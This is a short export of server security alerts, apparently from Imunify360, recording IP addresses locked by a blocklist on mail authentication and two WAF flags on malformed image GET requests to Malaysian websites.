rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 189.89.214.49
country_id: 3469034
description:
Jan 22 16:34:05 sv3 auth[485642]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 189.89.214.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.92.240.133
country_id: 3469034
description:
Jan 22 16:34:29 sv3 auth[485642]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.92.240.133 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.33.146.52
country_id: 6252001
domain: solidfence.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/solidfence.com.my/product-posts/assets/img/Sliding Panel.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.190.167.205
country_id: 3865483
description:
Jan 22 16:35:49 sv3 auth[485642]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.190.167.205 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.190.167.205
country_id: 3865483
description:
Jan 22 16:36:03 sv3 auth[485642]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.190.167.205 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.230.99.100
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/project-references/2021-Bhashanchar-Land-Side-Drainage/penstock-bhashanchar-08.jpg HTTP/1.1||RSV:7.64||T:APACHE||


